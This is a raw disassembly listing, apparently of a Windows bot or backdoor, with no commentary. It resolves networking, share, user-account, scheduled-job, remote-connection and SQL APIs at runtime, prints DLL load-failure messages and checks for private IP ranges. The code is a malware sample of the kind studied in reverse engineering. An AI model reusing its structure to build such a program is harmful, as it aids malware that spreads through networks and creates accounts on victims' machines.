		call	dword_4F1348	; RtlGetLastWin32Error
		mov	dword_4E0970, eax


loc_40931D:				; CODE XREF: sub_408F54+3BCj
		mov	dword_4E096C, 1


loc_409327:				; CODE XREF: sub_408F54+3BAj
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4093F3
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4E088C, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4E08E0, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4E08E8, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4E08A8, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4E07D4, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4E0784, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4E08E4, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4E0770, eax
		call	esi	; GetProcAddress
		cmp	dword_4E088C, ebx
		mov	dword_4E0808, eax
		jz	short loc_4093FE
		cmp	dword_4E08E0, ebx
		jz	short loc_4093FE
		cmp	dword_4E08E8, ebx
		jz	short loc_4093FE
		cmp	dword_4E08A8, ebx
		jz	short loc_4093FE
		cmp	dword_4E07D4, ebx
		jz	short loc_4093FE
		cmp	dword_4E0784, ebx
		jz	short loc_4093FE
		cmp	dword_4E08E4, ebx
		jz	short loc_4093FE
		cmp	dword_4E0770, ebx
		jz	short loc_4093FE
		cmp	eax, ebx
		jnz	short loc_409408
		jmp	short loc_4093FE
; ---------------------------------------------------------------------------


loc_4093F3:				; CODE XREF: sub_408F54+3DEj
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	dword_4E0978, eax


loc_4093FE:				; CODE XREF: sub_408F54+45Fj
					; sub_408F54+467j ...
		mov	dword_4E0974, 1


loc_409408:				; CODE XREF: sub_408F54+49Bj
		mov	ebp, dword_4F1374
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4096C4
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4E081C, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4E0940, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4E07C0, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4E079C, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4E0850, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4E083C, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4E0804, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4E091C, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4E0938, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4E084C, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4E0928, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4E08DC, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4E08A0, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4E089C, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4E07E0, eax
		call	esi	; GetProcAddress
		push	offset aSend_0	; "send"
		push	edi
		mov	dword_4E07D8, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4E08EC, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4E0900, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4E08B8, eax
		call	esi	; GetProcAddress
		mov	dword_4E0878, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4E08CC, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4E0888, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4E08C8, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4E0930, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4E0880, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4E0848, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4E08B4, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4E0920, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4E085C, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4E0800, eax
		call	esi	; GetProcAddress
		cmp	dword_4E081C, ebx
		mov	dword_4E0934, eax
		jz	loc_4096CF
		cmp	dword_4E0940, ebx
		jz	loc_4096CF
		cmp	dword_4E07C0, ebx
		jz	loc_4096CF
		cmp	dword_4E0850, ebx
		jz	loc_4096CF
		cmp	dword_4E083C, ebx
		jz	loc_4096CF
		cmp	dword_4E0804, ebx
		jz	loc_4096CF
		cmp	dword_4E091C, ebx
		jz	loc_4096CF
		cmp	dword_4E0938, ebx
		jz	loc_4096CF
		cmp	dword_4E084C, ebx
		jz	loc_4096CF
		cmp	dword_4E0928, ebx
		jz	loc_4096CF
		cmp	dword_4E08DC, ebx
		jz	loc_4096CF
		cmp	dword_4E08A0, ebx
		jz	loc_4096CF
		cmp	dword_4E089C, ebx
		jz	loc_4096CF
		cmp	dword_4E07E0, ebx
		jz	short loc_4096CF
		cmp	dword_4E08EC, ebx
		jz	short loc_4096CF
		cmp	dword_4E0900, ebx
		jz	short loc_4096CF
		cmp	dword_4E08B8, ebx
		jz	short loc_4096CF
		cmp	dword_4E0878, ebx
		jz	short loc_4096CF
		cmp	dword_4E08CC, ebx
		jz	short loc_4096CF
		cmp	dword_4E0888, ebx
		jz	short loc_4096CF
		cmp	dword_4E08C8, ebx
		jz	short loc_4096CF
		cmp	dword_4E0930, ebx
		jz	short loc_4096CF
		cmp	dword_4E0880, ebx
		jz	short loc_4096CF
		cmp	dword_4E0848, ebx
		jz	short loc_4096CF
		cmp	dword_4E08B4, ebx
		jz	short loc_4096CF
		cmp	dword_4E0920, ebx
		jz	short loc_4096CF
		cmp	dword_4E085C, ebx
		jz	short loc_4096CF
		cmp	eax, ebx
		jnz	short loc_4096D9
		jmp	short loc_4096CF
; ---------------------------------------------------------------------------


loc_4096C4:				; CODE XREF: sub_408F54+4C5j
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	dword_4E0980, eax


loc_4096CF:				; CODE XREF: sub_408F54+664j
					; sub_408F54+670j ...
		mov	dword_4E097C, 1


loc_4096D9:				; CODE XREF: sub_408F54+76Cj
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4097DE
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4E07EC, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4E0778, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4E086C, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4E0820, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4E0874, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4E0840, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4E07B4, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4E07AC, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4E07BC, eax
		call	esi	; GetProcAddress
		cmp	dword_4E07EC, ebx
		mov	ecx, dword_4E0840
		mov	dword_4E08D0, eax
		jz	short loc_4097BA
		cmp	dword_4E0778, ebx
		jz	short loc_4097BA
		cmp	dword_4E086C, ebx
		jz	short loc_4097BA
		cmp	dword_4E0820, ebx
		jz	short loc_4097BA
		cmp	dword_4E0874, ebx
		jz	short loc_4097BA
		cmp	ecx, ebx
		jz	short loc_4097BA
		cmp	dword_4E07B4, ebx
		jz	short loc_4097BA
		cmp	dword_4E07AC, ebx
		jz	short loc_4097BA
		cmp	dword_4E07BC, ebx
		jz	short loc_4097BA
		cmp	eax, ebx
		jnz	short loc_4097C4


loc_4097BA:				; CODE XREF: sub_408F54+824j
					; sub_408F54+82Cj ...
		mov	dword_4E0984, 1


loc_4097C4:				; CODE XREF: sub_408F54+864j
		cmp	ecx, ebx
		jz	short loc_4097F9
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4E0854, eax
		jnz	short loc_4097F9
		jmp	short loc_4097F3
; ---------------------------------------------------------------------------


loc_4097DE:				; CODE XREF: sub_408F54+790j
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	dword_4E0988, eax
		mov	dword_4E0984, 1


loc_4097F3:				; CODE XREF: sub_408F54+888j
		mov	dword_4E0854, ebx


loc_4097F9:				; CODE XREF: sub_408F54+872j
					; sub_408F54+886j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409843
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4E0830, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4E0954, eax
		call	esi	; GetProcAddress
		cmp	dword_4E0830, ebx
		mov	dword_4E07C8, eax
		jz	short loc_40984E
		cmp	dword_4E0954, ebx
		jz	short loc_40984E
		cmp	eax, ebx
		jnz	short loc_409858
		jmp	short loc_40984E
; ---------------------------------------------------------------------------


loc_409843:				; CODE XREF: sub_408F54+8B0j
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	dword_4E0990, eax


loc_40984E:				; CODE XREF: sub_408F54+8DFj
					; sub_408F54+8E7j ...
		mov	dword_4E098C, 1


loc_409858:				; CODE XREF: sub_408F54+8EBj
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40995F
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4E07A4, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4E0780, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4E07F4, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4E0824, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4E092C, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4E07DC, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4E0788, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4E077C, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4E080C, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4E08F4, eax
		call	esi	; GetProcAddress
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4E08B0, eax
		call	esi	; GetProcAddress
		cmp	dword_4E07A4, ebx
		mov	dword_4E07E4, eax
		jz	short loc_40996A
		cmp	dword_4E0780, ebx
		jz	short loc_40996A
		cmp	dword_4E07F4, ebx
		jz	short loc_40996A
		cmp	dword_4E0824, ebx
		jz	short loc_40996A
		cmp	dword_4E092C, ebx
		jz	short loc_40996A
		cmp	dword_4E07DC, ebx
		jz	short loc_40996A
		cmp	dword_4E0788, ebx
		jz	short loc_40996A
		cmp	dword_4E077C, ebx
		jz	short loc_40996A
		cmp	dword_4E080C, ebx
		jz	short loc_40996A
		cmp	dword_4E08F4, ebx
		jz	short loc_40996A
		cmp	dword_4E08B0, ebx
		jnz	short loc_409974
		jmp	short loc_40996A
; ---------------------------------------------------------------------------


loc_40995F:				; CODE XREF: sub_408F54+90Fj
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	dword_4E0998, eax


loc_40996A:				; CODE XREF: sub_408F54+9B7j
					; sub_408F54+9BFj ...
		mov	dword_4E0994, 1


loc_409974:				; CODE XREF: sub_408F54+A07j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4099A9
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4E07CC, eax
		call	esi	; GetProcAddress
		cmp	dword_4E07CC, ebx
		mov	dword_4E0898, eax
		jz	short loc_4099B4
		cmp	eax, ebx
		jnz	short loc_4099BE
		jmp	short loc_4099B4
; ---------------------------------------------------------------------------


loc_4099A9:				; CODE XREF: sub_408F54+A2Bj
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	dword_4E09A0, eax


loc_4099B4:				; CODE XREF: sub_408F54+A4Dj
					; sub_408F54+A53j
		mov	dword_4E099C, 1


loc_4099BE:				; CODE XREF: sub_408F54+A51j
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4099F3
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4E0918, eax
		call	esi	; GetProcAddress
		cmp	dword_4E0918, ebx
		mov	dword_4E0914, eax
		jz	short loc_4099FE
		cmp	eax, ebx
		jnz	short loc_409A08
		jmp	short loc_4099FE
; ---------------------------------------------------------------------------


loc_4099F3:				; CODE XREF: sub_408F54+A75j
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	dword_4E09A8, eax


loc_4099FE:				; CODE XREF: sub_408F54+A97j
					; sub_408F54+A9Dj
		mov	dword_4E09A4, 1


loc_409A08:				; CODE XREF: sub_408F54+A9Bj
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409A67
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4E0944, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4E093C, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4E0904, eax
		call	esi	; GetProcAddress
		cmp	dword_4E0944, ebx
		mov	dword_4E07E8, eax
		jz	short loc_409A72
		cmp	dword_4E093C, ebx
		jz	short loc_409A72
		cmp	dword_4E0904, ebx
		jz	short loc_409A72
		cmp	eax, ebx
		jnz	short loc_409A7C
		jmp	short loc_409A72
; ---------------------------------------------------------------------------


loc_409A67:				; CODE XREF: sub_408F54+ABFj
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	dword_4E09B0, eax


loc_409A72:				; CODE XREF: sub_408F54+AFBj
					; sub_408F54+B03j ...
		mov	dword_4E09AC, 1


loc_409A7C:				; CODE XREF: sub_408F54+B0Fj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409AB1
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4E0818, eax
		call	esi	; GetProcAddress
		cmp	dword_4E0818, ebx
		mov	dword_4E0910, eax
		jz	short loc_409ABC
		cmp	eax, ebx
		jnz	short loc_409AC6
		jmp	short loc_409ABC
; ---------------------------------------------------------------------------


loc_409AB1:				; CODE XREF: sub_408F54+B33j
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	dword_4E09B8, eax


loc_409ABC:				; CODE XREF: sub_408F54+B55j
					; sub_408F54+B5Bj
		mov	dword_4E09B4, 1


loc_409AC6:				; CODE XREF: sub_408F54+B59j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409B4F
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4E08D8, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4E0924, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4E0868, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4E0828, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4E08BC, eax
		call	esi	; GetProcAddress
		cmp	dword_4E08D8, ebx
		mov	dword_4E0834, eax
		jz	short loc_409B5A
		cmp	dword_4E0924, ebx
		jz	short loc_409B5A
		cmp	dword_4E0868, ebx
		jz	short loc_409B5A
		cmp	dword_4E0828, ebx
		jz	short loc_409B5A
		cmp	dword_4E08BC, ebx
		jz	short loc_409B5A
		cmp	eax, ebx
		jnz	short loc_409B64
		jmp	short loc_409B5A
; ---------------------------------------------------------------------------


loc_409B4F:				; CODE XREF: sub_408F54+B7Dj
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	dword_4E09C0, eax


loc_409B5A:				; CODE XREF: sub_408F54+BD3j
					; sub_408F54+BDBj ...
		mov	dword_4E09BC, 1


loc_409B64:				; CODE XREF: sub_408F54+BF7j
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_408F54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409B6C	proc near		; CODE XREF: sub_401CC1+206Bp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4E095C, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_409BB4
		push	dword_4E0960
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 20h


loc_409BB4:				; CODE XREF: sub_409B6C+1Aj
		cmp	dword_4E0964, esi
		jz	short loc_409BE8
		push	dword_4E0968
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 20h


loc_409BE8:				; CODE XREF: sub_409B6C+4Ej
		cmp	dword_4E096C, esi
		jz	short loc_409C1C
		push	dword_4E0970
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 20h


loc_409C1C:				; CODE XREF: sub_409B6C+82j
		cmp	dword_4E0974, esi
		jz	short loc_409C50
		push	dword_4E0978
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 20h


loc_409C50:				; CODE XREF: sub_409B6C+B6j
		cmp	dword_4E097C, esi
		jz	short loc_409C84
		push	dword_4E0980
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 20h


loc_409C84:				; CODE XREF: sub_409B6C+EAj
		cmp	dword_4E0984, esi
		jz	short loc_409CB8
		push	dword_4E0988
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 20h


loc_409CB8:				; CODE XREF: sub_409B6C+11Ej
		cmp	dword_4E098C, esi
		jz	short loc_409CEC
		push	dword_4E0990
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 20h


loc_409CEC:				; CODE XREF: sub_409B6C+152j
		cmp	dword_4E0994, esi
		jz	short loc_409D20
		push	dword_4E0998
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 20h


loc_409D20:				; CODE XREF: sub_409B6C+186j
		cmp	dword_4E099C, esi
		jz	short loc_409D54
		push	dword_4E09A0
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 20h


loc_409D54:				; CODE XREF: sub_409B6C+1BAj
		cmp	dword_4E09A4, esi
		jz	short loc_409D88
		push	dword_4E09A8
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 20h


loc_409D88:				; CODE XREF: sub_409B6C+1EEj
		cmp	dword_4E09AC, esi
		jz	short loc_409DBC
		push	dword_4E09B0
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 20h


loc_409DBC:				; CODE XREF: sub_409B6C+222j
		cmp	dword_4E09B4, esi
		jz	short loc_409DF0
		push	dword_4E09B8
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 20h


loc_409DF0:				; CODE XREF: sub_409B6C+256j
		cmp	dword_4E09BC, esi
		jz	short loc_409E24
		push	dword_4E09C0
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 20h


loc_409E24:				; CODE XREF: sub_409B6C+28Aj
		lea	eax, [ebp+var_200]
		push	offset unk_4452B4
		push	eax
		call	sub_41B740
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_409E51
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 14h


loc_409E51:				; CODE XREF: sub_409B6C+2CEj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41458A
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409B6C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	dword ptr [ebp+8], 0
		push	esi
		jz	loc_409EF8
		push	offset dword_4E09E0
		push	dword ptr [ebp+8]
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409EF8
		push	20h
		lea	eax, [ebp-20h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41B1F0
		lea	eax, [ebp-20h]
		push	offset a__7	; "."
		push	eax
		call	sub_41C550
		add	esp, 14h
		test	eax, eax
		jz	short loc_409EF8
		push	eax
		call	sub_41B3F0
		mov	dword ptr [esp], offset	a__8 ; "."
		push	0
		mov	esi, eax
		call	sub_41C550
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409EF8
		push	eax
		call	sub_41B3F0
		cmp	esi, 0Ah
		pop	ecx
		jz	short loc_409EF3
		cmp	esi, 0ACh
		jnz	short loc_409EE4
		cmp	eax, 0Fh
		jle	short loc_409EF8
		cmp	eax, 20h
		jl	short loc_409EF3


loc_409EE4:				; CODE XREF: .nsp0:00409ED8j
		cmp	esi, 0C0h
		jnz	short loc_409EF8
		cmp	eax, 0A8h
		jnz	short loc_409EF8


loc_409EF3:				; CODE XREF: .nsp0:00409ED0j
					; .nsp0:00409EE2j
		push	1
		pop	eax
		jmp	short loc_409EFA
; ---------------------------------------------------------------------------


loc_409EF8:				; CODE XREF: .nsp0:00409E6Ej
					; .nsp0:00409E85j ...
		xor	eax, eax


loc_409EFA:				; CODE XREF: .nsp0:00409EF6j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_409EFD	proc near		; CODE XREF: sub_4019E1+4Fp
					; sub_401CC1+5466p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4E08DC
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_409F25
		push	[esp+arg_0]
		call	dword_4E0920
		test	eax, eax
		jnz	short loc_409F1E
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_409F1E:				; CODE XREF: sub_409EFD+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_409F25:				; CODE XREF: sub_409EFD+Dj
		retn
sub_409EFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_409F26	proc near		; CODE XREF: sub_4019E1+D6p
		mov	ecx, dword_4E07CC
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_409F34
		call	ecx

locret_409F34:				; CODE XREF: sub_409F26+Aj
		retn
sub_409F26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409F35	proc near		; CODE XREF: sub_401CC1:loc_403C72p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
